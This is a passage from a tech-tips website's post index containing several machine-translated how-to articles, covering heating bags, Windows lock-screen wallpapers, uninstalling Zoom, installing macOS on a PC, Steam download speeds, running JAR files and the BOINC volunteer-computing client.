MongoDB\nncG1vNJzZmismaXArq3KnmWcp51kwabE02aqnpmimLVutc1mpKiml6Sxow%3D%3D\n","link":"/post/text-search-in-mongodb/","section":"post","tags":null,"title":"Text Search in MongoDB"},{"body":"In this article, TipsMake.com will share with you very useful information about heating bags, so that you can easily choose to buy yourself and your loved ones the best products to dispel the cold of the season. this east.\nOn cold days, cold days in the North, low nights in the mountains and highlands, many people choose to use heating bags as an effective and cost-effective way of heating. . If you are still wondering about what heating bag is, how many types, whether it is safe or not, the price is expensive or not, should buy which is good and how to use it properly, do not miss the information. Useful news later!\nAnswer frequently asked questions about heating bags What is a heating bag? What types of heating bags are there? Is heating bag safe? What are the heating bags used for? Experience of choosing which kind of heating bag is good? Note to use the heating bag properly? What is a heating bag? Heating bags are products with heating function, commonly used in the winter or when the temperature drops at night, early in the morning . Heating bags are also known with many other names such as holding bags heat , hot packs, versatile packs .\nWhat types of heating bags are there? On the market today there are many different models of heating bags but in general, these products are divided into 2 groups: electric heating bags and non-electric heating bags .\nElectric heating bag Electric heating bag is a type of heating bag composed of: Airtight inner pocket containing heat-storing solution, heating element, self-disconnecting relay, air exhaust, power jack.\nThe solution in a thermostatic bag is a liquid with a composition of water, salt and chemicals that have a high thermal capacity. When plugged in, the heater heats the solution inside the bag. When the temperature of the liquid reaches about 70 degrees Celsius, the relay will disconnect itself.\nPlugged hot compresses often have air exhaust pipes to limit the formation of air inside the bag, preventing the bag from exploding or breaking due to increased pressure when the temperature in the bag is high. In addition, this type of heating bag also often has two layers, the inside is PVC layer, the outer layer is a cloth to avoid leaking the heat-keeping solution, making heating more efficient and safer.\n  Samples of heating bags on the market are extremely diverse.\nNon-electric heating bag Non-electric heating bags compared to electric heating bags have a simpler structure:\nFor hot water heating bags : The structure is like an empty bag and when you need to heat, you just put hot water inside the bag. With the type of bag using a microwave : There is a structure inside an bag with heat-keeping gel, heat-keeping solution, grape seeds . When you need heating, put the bag into the microwave to heat the bag. If the inside of the bag is a gel to keep the heat, the solution holds heat, you can also soak the bag in hot water to heat the bag. Is heating bag safe? When learning about heating products, there is a question that many people ask is whether heating bags are safe, toxic or not?\nIn fact, most types of heating bags that come with a heat retention solution and an internal heat-keeping gel have a two-layer bag structure to prevent liquid, which gels leak out. In addition, electric heating bag is also equipped with additional safety mechanisms such as air exhaust, relay disconnected to avoid broken or exploding bags. So, if you choose to buy products from reputable brands, you can be assured of the quality of heating bags.\nIn addition, due to the fact that the products have heat during use and must use electricity or use with hot water, you should also pay attention to ensure compliance with safety rules about electricity, safety on charging, and safe use of hot water to avoid unfortunate incidents.\n  Heating bag has heating, pain relief effectively.\nWhat are the heating bags used for? When purchasing a quality heating bag and ensuring the correct use of the product, heating bags can bring many benefits to users such as:\nEfficient heating helps in cold weather. Helps circulate blood, thereby reducing aches and pains. Help reduce menstrual pain for women. Support reducing belly fat for postpartum women. Many versatile heating bags can be used as hot compresses, and can be used as cold compresses, so they can be used for flexible pain relief depending on the type of pain or injury. Currently, many types of heat-keeping bags also have scents such as mugwort, red ginseng, and herbal incense to help increase the therapeutic effect and relax the user better. Reference : Reducing belly fat with hot compresses after birth is really effective?\n  Hot water heater only needs hot water to be used.\nExperience of choosing which kind of heating bag is good? On the market today, there are many types of heating bags, which are rich in styles, designs, with large and small sizes, with many different design patterns . to meet the diverse needs of users. . To be able to choose to buy a good heating bag, there are a few points that you will need to note the following:\nUsually electric heating bags will have a long warm time from 4-6 hours, can be used in any location and you will have to be careful about electricity when using. Non-electric heating bags have a shorter warm-up time of only 2-3 hours and you will have to prepare hot water or wait for the microwave to warm the bag. Therefore, you should base on the practical needs to choose the type of electric heater plug or not plug the best. The price of heating bags is also extremely diverse, some types are only around VND 100,000, some can be up to VND 700, 800 thousand depending on the size, material and brand of production. Therefore, you should also consider your needs to choose the right product with the most affordable price. Should choose to buy heating bags of reputable brands such as Fashy, Thien Thanh, Sunflower, Mediton, Microlife, Taiwan Stanch . from reliable addresses to ensure the best product quality. You absolutely should not buy cheap heating bags of unknown origin, to avoid products made from unsafe materials, which can cause leaks to keep heat, hot water when using, even more dangerous is to lead to explosion, broken heating bag. See also : Pocket address to buy hot packs in Hanoi, TP. HCM\nSome samples of quality hot packs you can refer to :\nNote to use the heating bag properly? In the process of using a heating bag, in addition to following the instructions of the manufacturer, there are a few notes that you should not ignore to ensure the use of a heating bag properly and safely:\nWith electric heating bags: Never charge and use the product at all times, and ensure proper charging. For non-electric heating bags: Care should be taken when pouring hot water into the bag or when submerging the bag in hot water, heating the bag with a microwave; Do not use boiling hot water to heat a bag; Do not heat the bag for too long. It is important to check the temperature of the heating bag before use, to avoid scalding due to overheating. Absolutely do not allow sharp objects to cut on the surface of the bag or tear the bag. With the type of heating bag with liquid, gel to keep the inside, you absolutely must not arbitrarily change the water in the bag and should regularly check whether the bag is leaking, damaged or not, if so, you should not Keep using and should not repair the product yourself. Keep the bag out of the reach of children. Do not use harsh chemicals to clean the heating bag. The heating bag should be kept in a cool and dry place, away from heat, high humidity, avoiding sunlight, avoiding sharp objects, avoiding flammable substances . Hopefully the above information has helped you to better understand the heating bag, how to choose a quality heating bag as well as good experiences to use safe heating bags to effectively cope with the cold weather.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWRYrWmrdOipaBlkpa0bsPHmqtmrKmlsrR5wKucZpmmlratrcGlnGavmJbBbrfIp5tmp5ZitLC7w2aqoaelobFurtSy\n","link":"/post/what-is-a-heating-bag-what-types-are-available-what-kind-of-good-should-buy/","section":"post","tags":null,"title":"What is a heating bag? What types are available? What kind of good should buy?"},{"body":"Oculus Rift, HTC Vive and other VR products have changed the future of technology. People might scoff at the idea of ​​VR headsets, but like the Internet in the 1990s, VR was the way of the future.\nAnd thanks to WebVR, users have been able to integrate the Internet with VR with the powerful JavaScript API. The library is completely free, open source, and supported by the W3C, so it is the perfect library to use with virtual reality.\n  WebVR is still in beta and you can only test it with browsers on VR headsets. Because of this, you can't really see live demos in your browser, but you can definitely try them out.\nMost examples give warnings that the browser is not supported. But you can still see the idea behind what VR is and why WebVR can drastically change the way web developers create virtual reality on the web.\nThe Moz VR website is another great place to check live projects. Again, they work best with VR headsets but many of them have been built with WebVR.\nWebVR API is actually supported in Firefox Nightly Build and upcoming versions of Chromium. It is an experimental library but proves that developers are interested in virtual reality, even on the web.\n  In case you don't know who is managing the WebVR API, it is actually hosted on GitHub by the W3C team. This will become an official W3C specification.\nThis WebVR API has the opportunity to completely transform web games and interact with the web. It may take more than a decade for consumers to see the benefits, but WebVR has been born and will continue to grow.\nIf you want to try it out, you can download the source directly from GitHub's WebVR page (reference link: https://github.com/immersive-web/webxr ) with links to API specifications and documentation. Various dev resources to get started.\nncG1vNJzZmismaXArq3KnmWcp51kr7O1zaBkr6pdmsWxsdGinKeblWLBsHnToZxmmqKkxLSx0WauoqyYYsSmrtWr\n","link":"/post/bring-vr-experience-to-the-browser-with-webvr/","section":"post","tags":null,"title":"Bring VR experience to the browser with WebVR"},{"body":"Have you tired of the default login background image of Windows 10 so I want to replace the Windows login wallpaper with other nicer wallpapers. If you do not know how to change the login screen (Lockscreen) of Windows 10, you can refer to the article below.\n  The following article will guide in detail the manipulation steps to help you change the Windows 10 login wallpaper quickly.\nMethod 1: Use the Lock Screen feature of Windows 10 Step 1: Right-click on the desktop and select Personalize .\n  Step 2 : In the Settings section , select Lock screen in the left menu.\n  Step 3 : In the Background section you have 3 options for the login screen:\nWindows spotlight: automatic lock screen mode. Picture : login wallpaper. Slideshow : show many different login wallpapers.   1. To change the Windows 10 login wallpaper, in the Background section, select Picture . Next you can choose the default computer images in the Choose your picture or select Browse and navigate to the folder containing the wallpaper you want to display.\n  Select the login wallpaper for Windows 10 and click Choose picture .\n  Press Windows + L to check the login screen has been changed to the wallpaper as you choose.\n  2. You can also choose the Windows spotlight mode if you want the wallpaper to automatically change with useful information on the screen. To add useful applications that will display on the login screen, select the + icon in Choose an app to show detailed status or Choose apps to show quick status.\n  Then choose the app, there will be some apps you can choose.\n  3. If you want the login wallpaper to display different backgrounds instead of one like Picture then select the Slide Show mode in the Background . Then click Add a folder to add the folder containing the wallpapers you want to show.\n  Select the folder containing the wallpaper and click Choose this folder to add wallpaper folder.\n  Step 4: You can enable the feature to display more instructions, tips for Windows 10 ( get fun facts, tips, and more from Windows and Cortana on your lock screen ). And login wallpaper display mode ( On in Show lock screen background picture on the sign-in screen ).\n  So you know how to change the Windows 10 login wallpaper, hope you will have a more interesting experience in this feature of Windows 10. Have fun!\nncG1vNJzZmismaXArq3KnmWcp51ksKmtzaCcZq%2BZo7Gww9JmaGllnKS0qrqMsJilpKCWvaa%2B\n","link":"/post/change-windows-10-login-wallpaper/","section":"post","tags":null,"title":"Change Windows 10 login wallpaper"},{"body":"iOS is one of the most popular mobile operating systems in the world with bright colors, friendly interface, easy to use and capable of controlling energy and temperature of the device quite effectively. However, there will still be times when you encounter a situation where your device becomes overheated, affecting users as well as the operation of the device. So why does your iPhone get hot and how to fix this?\nFirst, we need to know that the iPhone is designed to operate at temperatures ranging from 0 ° C to 35 ° C. If the temperature of your device increases to a certain temperature, the screen will appear that your device is too hot and you will be temporarily unable to use the device until the temperature drops. moderately down.\n  What are the reasons why iPhone is hot? There are three main reasons why your device gets hot:\nMicroprocessors are having to carry out too large workloads.If you are playing high-graphics games or editing and processing 4K-format clips, you will easily realize that your battery is falling quickly and that your device will become more and more hotter.On the other hand, there is no fan in the iPhone to cool the processor.At the same time, the aluminum alloy shell makes the temperature in the iPhone impossible to escape quickly, resulting in your device getting hotter and hotter.However, this temperature is not enough to cause damage to your device or even not enough to activate the iPhone's temperature warning screen.   The device is in a place with a high temperature.Leaving your iPhone in your car in the summer or allowing direct sunlight to shine are things that you need to avoid because those actions will cause the device temperature to exceed the allowed level and may cause the battery to as components in the machine are damaged.If you have to park your car and go somewhere, keep your phone in a cool place, or simply take it with you.   The battery suddenly dropped quickly without any reason.In this case, the battery will produce a lot of heat, making your machine unusually hot.This situation is very rare because when an error occurs with the battery, the iOS operating system will automatically restart the device to fix the error.If this is the case, immediately turn off the device and check it out.   How to fix hot iPhone Absolutely do not place the device in the refrigerator in the hope that it will accelerate the cooling of the device. It sounds like this is a way to solve the problem, but actually when you do that, you will accidentally cause additional damage to your device's battery due to the temperature drop too quickly. This will significantly reduce the battery capacity.\n  Instead of doing so, try some of the following:\nRemove the phone case Turn off the entire application and disable the Background App Refresh function Turn on Low Power Mode (This will cause the device to turn off some other features, but you can turn it back on later if you want) Darken the screen Turn off positioning Turn off Bluetooth Open some battery diagnostic applications Take your device for repair or warranty See also: How to disable the Background App Refresh function and Turn on the Low Power Mode feature\nEpilogue\nHopefully, the above article will help you to avoid and overcome the situation of hot iPhone device. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDAjKKnoaeemnqkrdSsnGaZnpl6p7XX\n","link":"/post/hot-iphone-cause-and-fix/","section":"post","tags":null,"title":"Hot iPhone, cause and fix"},{"body":"Over the years, Instagram has grown constantly and added many great features. In 2013, the service released a 15-second video sharing feature (now 60 seconds) and just a few months later, it also introduced a new Stories feature. With these features, users can now share videos with still images. However, a video will be more interesting if they add background music. Unfortunately, Instagram's built-in editing tools do not allow users to add any music to the video. But, that doesn't mean we can't.\nThere are several methods of adding music to Instagram videos. First, you can download Instagram videos to your computer, edit and then re-upload to Instagram. However, this method is very time consuming and a quick method is to add live video music on mobile phones. This article will show you how to add background music to Instagram videos with some useful applications.\n10 easy video editing applications on Android List of the best video editing software 1. Quik\nQuik by Go Pro is the best application to meet the needs of adding music to Instagram videos. First, super easy to use application, add music to video in just one minute. Secondly, the application is available for both iOS and Android and finally, it's completely free. In addition to adding music, you can also use the app to add transition effects and animated text to videos, combine photos, videos or both to create videos.\nStep 1 . To add music to Instagram videos, first click on the link to download the app for iOS or Android. After installing and launching the application, press the ( + ) button to select the video in the library.\n  Step 2. The next step is to add a title, you can skip this step if you want.\n  Step 3 . Now go to the main editing page, the video will run on the top half of the screen and below are the editing tools. The video will automatically be synced with an original audio clip but you can change it.\n  Step 4. A quick way to change the sound is to choose different styles below. Changing the style will also change the background music. However, one thing to note is that sometimes many styles use the same music. So change the style until you feel like it.\n  Step 5. Although the above method is very fast, it also has certain limitations. Firstly, you don't have the added background music control and the second, the style will also change the way the video is played. To select your own music, click the music icon at the bottom of the screen (see picture). Here, click on the \" More Music\" option .\n  Step 6. The screen appears, you will see two parts, \"Featured\" and \"My music\" . The featured section contains all original tracks. There are many options to choose from and most of them are pretty good. However, if you want to add your own music, click on the \"My Music\" section and select an item.\n  Step 7 . Now what you need to do is cut the music. Click on the last option highlighted in the image below. Here, click on the \"Music Start\" option.\n  Step 8. Use the slider to adjust the music playback point. When finished press the green bar at the bottom.\n  Step 9. That's it, just touch the download icon and save it on the device or share the link directly.\n  Download : (Android, iOS)\n2. VidLab\n  \nVidlab is a great tool to edit videos on your phone. It is almost a full video editor. You can create videos using photos, videos or a combination of both. If you like Instagram filters, VidLab is the perfect choice because it has a separate filter that can be used to create unique videos and easily add background music. When you open the application, it will ask you to add photos and videos to start creating videos. Then select the music you want to add. VidLab also lets you cut videos and music, so you can combine them perfectly. Free app and in-app purchase to unlock features and remove the VidLab watermark.\nDownload : iOS (free, in-app purchases)\n3. Video Editor\n  \nIf you use an Android device, you cannot use VidLab because it is only available for iOS devices. However, Android users can review Video Editor. This application contains a lot of features to be able to create outstanding Instagram videos. It supports many video formats with handy video splitting capability. You can also insert stickers, emoticons and text inside the video. Adding music is also easy by clicking a button and selecting music files. It also comes with more than 60 filters.\nDownload: Android (Free, in-app purchases)\n4. VideoShow\n  \nIf you are looking for a cross-platform application, VideoShow is a great choice. This is one of the most powerful video editing applications available for both iOS and Android. In addition to supporting common features like video cutting, adding music, labeling, filters, inserting text, it also has many other interesting features. For example, create GIF images from videos, rotate videos horizontally and add animation.\nDownload: Android, iOS (Free, in-app purchases)\n5. Flipagram\n  \nThis is an application that focuses on the ability to edit short videos for Instagram, can create slideshows and funny videos with filters, effects, music and more. The app also comes with a large music library. Filters are easy to use and editing tools to easily cut, merge photos and videos. When creating a perfect video can share it on Instagram right in the app.\nDownload: Android , iOS (Free, in-app purchases)\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqjrcKknqunpaOxbrnUrKCcZaSkeqq60q2YoKqRonq3tcOepqw%3D\n","link":"/post/how-to-add-background-music-to-instagram-videos/","section":"post","tags":null,"title":"How to add background music to Instagram videos"},{"body":"Currently, Zoom software is having problems with users' Zoom information security, so people tend to look for alternative software for Zoom to learn online remotely like TranS or TeamLink, or use Microsoft software. Teams to organize conferences remotely. Therefore, people want to delete Zoom on their computer, uninstall Zoom to avoid leakage of personal information. To remove Zoom on your computer we have many different ways, and are guided in the article below.\nNote to users , after uninstalling Zoom, you need to delete the Zoom account on all devices to keep personal information safe.\n1. How to uninstall Zoom Windows Step 1:\nWe access the Control Panel to remove the Zoom software. At the interface we click on the Programs section to conduct software removal on the computer.\n  Next in this interface, click Programs and Features to open the software interface installed on the computer.\n  Or we click the Start button and then find the Zoom software, then right-click Start Zoom and select Uninstall.\n  Step 2:\nDisplays a list of all the software that you are installing on your computer, navigate to the Zoom software. Right- click Zoom and select Uninstall to remove the software.\n  Step 3:\nImmediately uninstalling Zoom has been carried out. So Zoom has deleted on the computer.\n  Some cases when you uninstall software on your computer still have some data. To completely remove Zoom on your computer, you should use some software removal software. Currently there are many support for completely uninstalling such as IObit Uninstaller, Wise Program Uninstaller.\n2. Delete the Zoom software on the Mac Uninstall Zoom on Mac OS version 4.4.53932.0709 or higher Open the Zoom software on your Mac, then click zoom.us in the menu bar above. Then click on Uninstall Zoom .\n  When the interface displays asking if you want to delete this application or not, click OK to agree.\n  Next, you proceed to remove the remaining data of Zoom . Open Finder, then Go and select Go to Folder .\n  Then enter ~ / Library and press the Go button . Next we search and delete files and folders containing Zoom . Need to double check the correct files and folders before rub\nVisit the links below\n~ / Library / Caches   \n~ / Library / Logs   \n~ / Library / Cookies   \n~ / Library / Saved Application State   \nUninstall Zoom version 4.4.53909.0617 on the Mac or below We open Finder and click Go on the top of the screen and select Go to Folder . In this interface, enter ~ / .zoomus / and then move the ZoomOpener file into the trash .\nNext we open Go to Folder again to proceed to delete the following folders in turn to delete Zoom completely:\nDirectory: / Applications / Move to Trash: zoom.us.app Directory: ~ / Applications / Move to Trash: zoom.us.app Folder: / System / Library / Extensions / Move to the Trash: ZoomAudioDevice.kext Directory: ~ / Library / Application Support / Move to Trash: zoom.us Note: Zoom may not be installed in both / Applications and ~ / Applications folder\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyzpqilXaS7bsDHnmScp52lwrWx0Q%3D%3D\n","link":"/post/how-to-delete-zoom-on-the-computer/","section":"post","tags":null,"title":"How to delete Zoom on the computer"},{"body":" This wikiHow teaches you how to run macOS High Sierra on your Windows computer. To do this, you will need to download an app called Unibeast. You will also need access to a Mac, along with a supported Windows computer and a blank hard...\nPart 2of 8:\nDownloading Unibeast  Go to the Unibeast download site on a Mac. Go to https://www.tonymacx86.com/. Make sure you do this on a Mac, since the folder will download the wrong app if you do this on a Windows computer and try to transfer it over to a Mac.\n  Click Log in or Register. It's in the upper-right side of the page. A menu will appear at the top of the page.\n  Enter your email address. Do so in the \"Email address\" field. Make sure this is an email address that you can easily access—you'll need to log in and verify the email address later.\n  Check the \"No, create an account now\" box. It's near the bottom of the menu.\n  Click Sign up. Doing so takes you to the Create an Account page.\n  Enter the required information. Fill out the following fields: Name — Enter the name you want to use for your account. Password — Enter a password you'd like to use for the login. Confirm Password — Repeat the password you entered above. Date of Birth — Select the month, day, and year of your birth. Location — Type in your country's name.   Check the \"I agree to the terms and rules\" box. It's near the bottom of the page.\n  Click Sign up. This button is at the bottom of the page. Doing so creates your account and sends a confirmation email to your provided email address.\n  Go to your email inbox. Go to the email address that you selected for your account. You may have to log in with your email address and the email account's password to open the inbox.\n  Open the confirmation email. Click the email from \"tonymacx86.com\" to open it.\n  Click the confirmation link. Click the link below the \"Confirm Account\" text in the middle of the email. This will take you back to the Unibeast download site.\n  Double-click the Downloads tab. It's on the right side of the row of tabs that's near the top of the page. The Downloads page should open. If you just see a drop-down menu appear, click the Downloads tab once more.   Scroll down and click Unibeast. Make sure you click the version of Unibeast that has the highest number next to it. For example, the current release of Unibeast as of May 2018 is 8.3.2.   Click Download Now. It's in the top-right corner of the page. Doing so will download Unibeast onto your Mac.\n  Download Multibeast. This program, which is hosted on the same site as Unibeast, will allow you to install drivers so that you can use things like your PC's speakers, the Internet, and so on: Double-click the Downloads tab again. Click Multibeast - High Sierra 10.2.0 Click Download Now in the upper-right corner of the page.  Part 5of 8:\nCreating the Unibeast Installation Tool  Open the Unibeast folder. Double-click the Unibeast folder to unzip and open it.\n  Open Unibeast. Double-click the Unibeast PKG file to open it.\n  Click Open when prompted. Doing so will open the Unibeast setup window. If your Mac is currently running macOS Sierra or higher, you'll have to verify the Unibeast installation before continuing.   Click Continue four times. It's in the bottom-right corner of the first four pages of the Unibeast setup window.\n  Click Agree when prompted. It's at the top of the window.\n  Select your USB drive, then click Continue. Click the USB drive's name to select it.\n  Select High Sierra, then click Continue. You should see High Sierra in the middle of the page.\n  Select a motherboard type. Depending on whether your Windows computer has a UEFI- or a BIOS-type motherboard, your choice will vary: UEFI — Click UEFI Boot Mode, then click Continue. BIOS — Click Legacy Boot Mode, then click Continue.   Select a graphics card option if necessary, then click Continue. Check the box next to Inject [card name] for your preferred graphics card settings. If your graphics card supports macOS High Sierra by default, skip this step.   Click Continue. It's in the bottom-right corner of the page. Doing so will prompt you to enter your Mac's password.\n  Enter your Mac's password. Type in the password you use to log into your Mac.\n  Click OK. This will prompt Unibeast to begin installing to the USB drive. Once the installation process is complete, your USB drive will be ready to install macOS High Sierra on your PC. While the Unibeast installation finishes up, you should change your Windows computer's boot order.\n Part 7of 8:\nInstalling macOS on Your PC  Place Multibeast on the USB drive. Open the USB drive's folder, then drag the Multibeast file into the folder. You'll need to use Multibeast later, so having it on the flash drive will make using it when necessary as simple as possible.\n  Eject the Unibeast USB drive from the Mac. Open the Finder, then click the ⏏ Eject icon to the right of the USB drive's name in the upper-left corner of the Finder window. After doing so, you can remove your USB drive. You should make sure that the Unibeast installation is complete before doing this.   Shut down your Windows computer. Press and hold the Power button on your Windows computer until your computer shuts down completely. This will usually occur one or two seconds after the computer's display turns off.\n  Plug both the Unibeast USB drive and the blank hard drive into your computer. These should both fit into USB ports on your computer.\n  Start your Windows computer. Press the Power button to start the computer. Once the computer has a chance to begin booting, it should select your plugged-in USB drive as a place from which to boot.\n  Select your USB drive when prompted, then press ↵ Enter. This will begin the macOS installation process.\n  Select a language, then click →. Doing so takes you to the next page of the installer.\n  Click Continue twice. It's in the bottom-right corner of the pages.\n  Click Agree when prompted. You'll see this at the top of the screen.\n  Click the Utilities menu item. This menu item is in the top-left side of the screen. A drop-down menu will appear.[3]\n  Click Disk Utility. It's in the drop-down menu.\n  Select the blank hard drive. Click the blank hard drive's name on the left side of the page.\n  Click the Erase tab. It's near the top of the page.\n  Format the blank hard drive. Change the following fields: Format — Click the drop-down box, then click Mac OS X Extended (Journaled) Scheme — Click the drop-down box, then click GUID Partition Map   Click Erase. Doing so will reformat your blank hard drive for macOS' file system.\n  Click Done when prompted, then close the Disk Utility window. You can now proceed with installing macOS High Sierra on the hard drive.\n  Click the blank hard drive's name, then click Continue. This will both select the hard drive as the installation point and begin installing macOS High Sierra.\n  Wait for macOS High Sierra to finish installing. This process should take around 15 minutes.\n  Follow the on-screen prompts. You'll be prompted to enter specific information, such as your name, a password, your preferred language, your location, and so on. Once you complete this setup process, macOS' software will be completely set up on your Windows computer.\n  Marvin Fry Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmpJqbn6h6sLqMmmSwoZ6ZvLi%2FjKma\n","link":"/post/how-to-install-macos-on-a-windows-pc/","section":"post","tags":null,"title":"How to Install macOS on a Windows PC"},{"body":"You've probably heard of Steam but not everyone knows the definition of it except gamers. In essence, Steam is the largest online copyright game distribution platform today. In addition to buying games on Steam, users have to download those games to the computer too. In the meantime, if the network is poor, it may take you all day just to download a game. In this article, we will show you how to increase Steam download speed.\nHow to pin the Steam feature to play games on Windows 10? How to buy Steam games in the most economical way Check the network connection Please close the browser and reduce unnecessary data usage. The easiest method is to see Taskbar on the computer. Right-click on the Taskbar and select Task Manager\n  Next, click on the Network section . If you see any unrelated programs displayed on the network connection, especially running games, right-click the program and select End task .\nOptimize Steam's software Another tip to optimize Steam's download speed is also in Task Manager. First, open Steam and find the software in your Task Manager. Right-click the Steam Client item and select Go to details .\n  Next, from the Detail table , right-click on SteamService.exe and select Set priority, then select High.\nAlthough this operation does not completely change the download speed, it will notify PC that Steam is preferred over the remaining programs.\nOptimize data connection Although Steam has done its best to provide users with the best speed, Steam's download speed still depends largely on the speed of your Internet connection.\nMy first suggestion was to download games using physical Ethernet connections. This means monitoring your LAN driver and installing the latest drivers. To do this, you will have to find the model of the motherboard.\nClick the Start menu, type cmd and click the Command Prompt option. Enter the command below into the prompt to press Enter.\nwmic baseboard get product, Manufacturer\nSearch Google model of the motherboard and open its Support page. From this page, you can download the latest LAN drivers. Finally, connect your modem to the computer via an Ethernet cable. It is done!\nSwitch server While choosing the nearest server is usually the best, it's not always the case.\nThis affects your overall download speed: The higher the traffic, the slower your connection. However, you can move the server to find the balance of traffic and download rates.\nFirst, go to Download Stats of Steam. From this interactive map, you can check the average download rate and the percentage of global traffic.\n  Click on a country to see the download rate and traffic. To give an example, I will take the United States and China\n  Although the United States has a slightly larger average download rate than China, it is almost double the global traffic. Although the results of your download speed cannot be changed radically (because distance is also a factor determining download speed), changing the current server to a server with download speed Bigger down or less traffic will definitely help increase download speed.\nNothing uncomfortable with slow download speeds. That is why I wrote this article. Hopefully the tips in this article can help you optimize the download speed on Steam\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegqbautdmeZKyslZa6brDOsKWlp5GZerS8xJ6bZqGeYsSqusOorqxlYWU%3D\n","link":"/post/how-to-optimize-steam-download-speed-in-windows-10/","section":"post","tags":null,"title":"How to optimize Steam download speed in Windows 10"},{"body":" This wikiHow teaches you how to open and run executable JAR files on a Windows or Mac computer. JAR (Java Archive) files contain data to be used with the Java program. Most JAR files are simply containers for data that another program...\nMethod 1of 2:\nOn Windows  Install Javaon your computer if it isn't installed. You can't run JAR files without Java installed on your computer. If you don't already have Java installed, go to Java's website at https://www.java.com/en/download/ and click the Free Java Download button below the latest version of Java, then install Java once it downloads. You may have to restart your computer for Java to be fully implemented.   Double-click the JAR file. If it's executable and you have Java installed, it should open. If it doesn't open, proceed to the next step. You may see a pop-up window asking which program you want to use to open the file. If so, click Java(TM) and then click OK.   Make sure your JAR file is an executable file. JAR files that you download in order to set up programs are different from \"library\" JAR files, which store data that a program running Java can use. Since they don't have interfaces like executable JAR files, you cannot run non-executable JAR files. For example, many of the JAR files in a program's data folders are not executable files. If you downloaded your JAR file from online, make sure you clicked the Windows version of the file rather than the Mac version.   Update Java. If your JAR file produces an error when you double-click it, you may need to update Java. To do so: Open Start  . Scroll down and click the Java folder. Click Check For Updates. Click Update Now on the Update tab.   Double-click your JAR file again. If it doesn't open this time, the file you're trying to open isn't executable and thus cannot be \"run\" in the traditional sense.\n Method 2of 2:\nOn Mac  Install Javaon your computer if it isn't installed. You can't run JAR files without Java installed on your computer. If you don't already have Java installed, go to Java's website at https://www.java.com/en/download/ and click the Download button below the latest version of Java, then install Java once it downloads. When installing a non-Apple file on Mac, you may have to first click OK on the warning, click the Apple menu, click System Preferences, click Security \u0026amp; Privacy, unlock the menu, click Open Anyway next to the file's name, and then click Open when prompted before you can install the file.   Try double-clicking your JAR file. If it's executable and you have Java installed, it should open. If double-clicking the file doesn't open it, proceed to the next step.\n  Make sure your JAR file is an executable file. JAR files that you download in order to set up programs are different from \"library\" JAR files, which store data that a program running Java can use. Since they don't have interfaces like executable JAR files, you cannot run non-executable JAR files. For example, many of the JAR files in a program's data folders are not executable files. If you downloaded your JAR file from online, make sure you downloaded the Mac version and not another operating system's version.   Update Java. If your JAR file produces an error when you double-click it, you may need to update Java. To do so: Open the Apple menu  . Click System Preferences. Click Java. Click the Update tab. Click Update Now.   Double-click your JAR file again. If it doesn't open this time, the file you're trying to open isn't executable and thus cannot be \"run\" in the traditional sense.\n  Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqlo3qiecmaqWaikauubrLIpZw%3D\n","link":"/post/how-to-run-a-jar-java-file/","section":"post","tags":null,"title":"How to Run a .Jar Java File"},{"body":"Did you know that you likely don't use all of your computer's RAM power? You're likely not even close to capacity! Why not contribute your extra memory to projects that benefit humanity using BOINC (Berkeley Open Infrastructure for Network...\nPart 1of 3:\nUsing BOINC  Install BOINC Manager. Visit boinc.berkeley.edu/download.php. Click the Download BOINC button. Once the download is complete, open the folder, then BOINC Installer to begin installation. Click through the Continue and Agree buttons to install BOINC manager. If you're using an older computer, check the System Requirements link at the bottom of the downloads page and compare them to your own. On an Android device, download BOINC or HTC Power to Give from the Google Play Store. The mobile interface may not match the instructions below.   Open BOINC Manager. It should automatically prompt you to add a project, or add an account manager. Here's a little guidance for your first BOINC decision: Select \"Add project\" and click Next to get started right away. The instructions below assume this is the option you choose. \"Use an account manager\" leads you to sign up with a third-party website. On this site, you can manage your BOINC settings for multiple computers at once.[1] This article does not cover account manager interfaces, but the process should be similar.   Look up a project before you support it. BOINC does take some security precautions, but a malicious project could potentially access your private data or harm your computer. Make sure to find one you trust.[2] Vet the project with the following resources: Projects listed here are considered trustworthy by BOINC. Projects listed here have already published scientific papers from BOINC research. Each entry in your BOINC manager should have a link to a website. Follow this link for a detailed description of the project. Look for a clear description of the project, preferably with the goal of making BOINC-assisted research results freely available.[3]   Attempt to sign up using BOINC. Once you've chosen a project, click Next to see the sign up page. Some projects allow you to create an account with them using BOINC manager. If you see a \"new user\" option, fill out your username and password and click Next to finish your BOINC setup. If you only see a login screen, continue to the next step of these instructions instead. You may be taken to the project website to finish registration.   Create an account on the project's website. Click Back to return to the list of project. Find the project you want to join, then follow the link in its description. Look for a Join, Sign up, or Create account button on the website. Sign up using a real e-mail and a secure password. Remember your username and password. If the project asks you to download software, you may skip that step. That's just a project-specific version of the BOINC manager.   Log in to the project using BOINC manager. Return to your BOINC manager. Select the project your just signed up for, and click Next. Enter your email address and password, then click Next again. Your computer will now use its spare processing power for the research you selected. Remain connected to the internet until your computer is done downloading its first task. Once the download is finished, you'll see a progress bar in the BOINC manager.  Part 2of 3:\nSettings and Advanced Use  Change your preferences. In BOINC manager, select Tools in the top menu, then Computing preferences. A menu should pop up allowing you to limit the amount BOINC can use your computer. Here are a few useful options: If you've noticed your computer becoming hot or running its fan during light use, reduce the \"Use X% of the processor\" setting. If you're on a laptop, checking \"Do work while on battery?\" will run BOINC when your computer is not plugged in. This will drain the battery more quickly. If you have a slow internet connection, limit the hours BOINC can go online. Note that your computer must be on and internet-connected during these hours to download the next task.   Add another project. The Add Project button is located in your main BOINC manager window. You can use this button to add any number of projects to your BOINC account. Your computer can only run one simultaneous task per processing unit (e.g. four tasks with a quad-core CPU).[4] BOINC will attempt to give each project roughly equal processing time, but on a given day your computer may only work on one project.   Use the advanced settings. Select View in the top menu, then Advanced View. This turns BOINC manager into a series of tabs with many additional options and statistics:[5] Use the Projects tab to temporarily suspend a project, remove it permanently, or tell it to stop after this task (\"No new tasks\"). Click Properties to visit that project's website for additional, project-specific options. Use the Tasks tab to suspend a task or abort it permanently. Check the time in the Deadline column periodically – if you haven't completed the task by then, another user will start it. You will still get credit after the 